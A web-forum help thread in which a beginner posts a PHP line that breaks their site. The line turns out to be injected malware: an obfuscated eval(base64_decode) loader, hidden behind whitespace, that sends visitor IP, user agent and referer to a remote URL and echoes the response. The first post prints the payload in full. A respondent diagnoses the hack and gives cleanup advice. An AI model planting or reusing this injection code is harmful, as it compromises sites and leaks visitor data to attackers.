Parse error: syntax error Help

yettie

Hi im new to coding and my website just crashed and came up with the following error.

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in

The problem lies below in the line of code. I have no idea what could be causing the issue. Any help would be greatly appreciated.



return trim(preg_replace("/\s*(?:\*\/|\                                                                                                                                                                                                                                                                                                            ?><?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host= $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>).*/", '', $str));

yettie

Sorry this is easier to read



return trim(preg_replace("/\s*(?:\*\/|\     
                                                                                                                                                                                                                                                                                                   ?><?php $_F=__FILE__;$_X='MOD EDIT: base64 string removed'));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip
 = $_SERVER['REMOTE_ADDR'];$host= $_SERVER['HTTP_HOST'];$uri = 
urlencode($_SERVER['REQUEST_URI']);$ref = 
urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?
ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp =
 file_get_contents($url); echo $tmp; ?>).*/", '', $str));

NogDog

That eval(base64_decode(gibberish)) is often an indication that someone has hacked your site and injected that code into your PHP file. Unless you know that it should be there, it probably needs to be deleted, you need to change all your web site passwords, and let your web hosting administrators know so they can scan the server for any malware and so forth. You may also want to change your PHP configuration if you have access to it to disable the eval() function, so that any such injections won't actually work.

yettie

Thanks a lot. I have done what you said and it is on the way to getting fixed. The only reason I can think of for this happening is I did use some guys on odesk from across the world to help build the site. They had access to my FTP server and everything else. But it would suck to not be able to trust people that you pay to build something for you to just tear it all down again.

NogDog

My personal site got similarly hacked not long ago. It's one of the dangers of being on a shared server: even if your applications and passwords are secure, there may still be dozens of users on the same host with security holes that could let something like this get onto the server and then infect your site, too. 🙁